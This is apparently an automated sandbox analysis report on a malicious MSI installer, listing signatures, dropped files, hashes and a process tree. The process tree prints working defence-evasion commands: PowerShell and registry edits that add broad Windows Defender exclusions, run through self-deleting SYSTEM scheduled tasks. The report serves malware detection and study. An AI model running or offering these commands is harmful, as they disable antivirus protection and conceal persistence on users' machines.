Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/07/2026, 08:28

General

  • Target
    app_setup.6653001.msi
  • Size 9.3MB
  • Sample260712-kdez2sgx21
  • SHA256 00ce83f5a2128c526ef5ef9f2c0183f548bc7972e79cf381221e32202cc9718f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\app_setup.6653001.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5904
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4672
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:476
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 1AB8A522A8B969BB46702CAECDA289C3 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:4300
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:3036
  • C:\Users\Public\4WY2zq\AVo9Zc.exe
    "C:\Users\Public\4WY2zq\AVo9Zc.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1120
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4WY2zq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4260
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4WY2zq\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1784
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5244
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5280
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1296
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1928
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3060
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5424
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:6000
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5888
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3704
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:620
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4812
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3000
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1220
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3504
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:3392
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1156
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4184
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4084
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4WY2zq" /t REG_DWORD /d 0 /f
                        1⤵
                          PID:3488
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4WY2zq" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:5196
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:3020
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                                PID:1396
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:5932
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                  1⤵
                                    PID:2292
                                    • C:\Windows\System32\reg.exe
                                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                      2⤵
                                        PID:5604
                                    • C:\Windows\system32\cmd.exe
                                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                      1⤵
                                        PID:3872
                                        • C:\Windows\System32\reg.exe
                                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                          2⤵
                                            PID:3136
                                        • C:\Windows\system32\cmd.exe
                                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                          1⤵
                                            PID:4328

                                          Network

                                                MITRE ATT&CK Enterprise v16

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                                                Downloads

                                                e59d539.rbs

                                                • Path C:\Config.Msi\e59d539.rbs
                                                • Size 7KB
                                                • SHA256 70c04285f7a71c82b1ac4e2ca0af808bc4cb12e35639f03325df2b92d70d0cdd
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                AVo9Zc.exe

                                                • Path C:\Users\Public\4WY2zq\AVo9Zc.exe
                                                • Size 135KB
                                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                UxEnhance64.dll

                                                • Path C:\Users\Public\4WY2zq\UxEnhance64.dll
                                                • Size 3.1MB
                                                • SHA256 4e03ecf938b18e30e1b1f1247c171066db928dd871a0bfe187b89b09f8328d3d
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                adoresd.dat

                                                • Path C:\Users\Public\4WY2zq\adoresd.dat
                                                • Size 4.8MB
                                                • SHA256 381588fa9b591377456f44044dafe141faa5a153e90e20e4f634d3b300bb6c30
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                msadox.tb

                                                • Path C:\Users\Public\4WY2zq\msadox.tb
                                                • Size 8KB
                                                • SHA256 153315d6b4e5335d84e0cd12ffcd225db3936680e10755534e8d100eca370f5f
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                MSIDB44.tmp

                                                • Path C:\Windows\Installer\MSIDB44.tmp
                                                • Size 9.3MB
                                                • SHA256 354e64c754a1046a36cc37185e405c494111eb8610e43b6e49cb0cd81484931f
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                e59d538.msi

                                                • Path C:\Windows\Installer\e59d538.msi
                                                • Size 9.3MB
                                                • SHA256 00ce83f5a2128c526ef5ef9f2c0183f548bc7972e79cf381221e32202cc9718f
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                metadata-2

                                                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                                • Size 26.1MB
                                                • SHA256 79298186cd6a04fd09cbc17079a03bf059ce2cf4938c573f9548f66761df1702
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                {8be9fae8-6a04-438b-ad70-78a71710e152}_OnDiskSnapshotProp

                                                • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{8be9fae8-6a04-438b-ad70-78a71710e152}_OnDiskSnapshotProp
                                                • Size 6KB
                                                • SHA256 e03e9636d64361ff67ffbaa99c4161055df759350c4841c3a0d170ea4b4bacf8
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                memory/1120-98-0x0000025037460000-0x0000025037482000-memory.dmp

                                                memory/1120-104-0x000002501EEB0000-0x000002501EEBA000-memory.dmp

                                                memory/1120-102-0x00000250376E0000-0x0000025037792000-memory.dmp

                                                memory/1120-101-0x00000250374B0000-0x00000250374CE000-memory.dmp

                                                memory/4300-42-0x00007FFA18540000-0x00007FFA18552000-memory.dmp

                                                memory/4300-16-0x00007FFA18540000-0x00007FFA18552000-memory.dmp

                                                memory/4300-13-0x00007FFA04A60000-0x00007FFA05091000-memory.dmp

                                                memory/4300-12-0x00007FFA28210000-0x00007FFA28212000-memory.dmp

                                                memory/4652-65-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-84-0x0000028434A80000-0x0000028434B0A000-memory.dmp

                                                memory/4652-70-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-72-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-71-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-76-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-86-0x0000028434A80000-0x0000028434B0A000-memory.dmp

                                                memory/4652-87-0x0000028434A80000-0x0000028434B0A000-memory.dmp

                                                memory/4652-85-0x0000028434A80000-0x0000028434B0A000-memory.dmp

                                                memory/4652-64-0x00007FFA28220000-0x00007FFA28222000-memory.dmp

                                                memory/4652-82-0x0000028434950000-0x000002843499E000-memory.dmp

                                                memory/4652-89-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-91-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-92-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-69-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-62-0x0000028435500000-0x0000028435DBE000-memory.dmp

                                                memory/4652-57-0x00007FFA04B80000-0x00007FFA0509E000-memory.dmp

                                                memory/4652-56-0x00007FFA28210000-0x00007FFA28212000-memory.dmp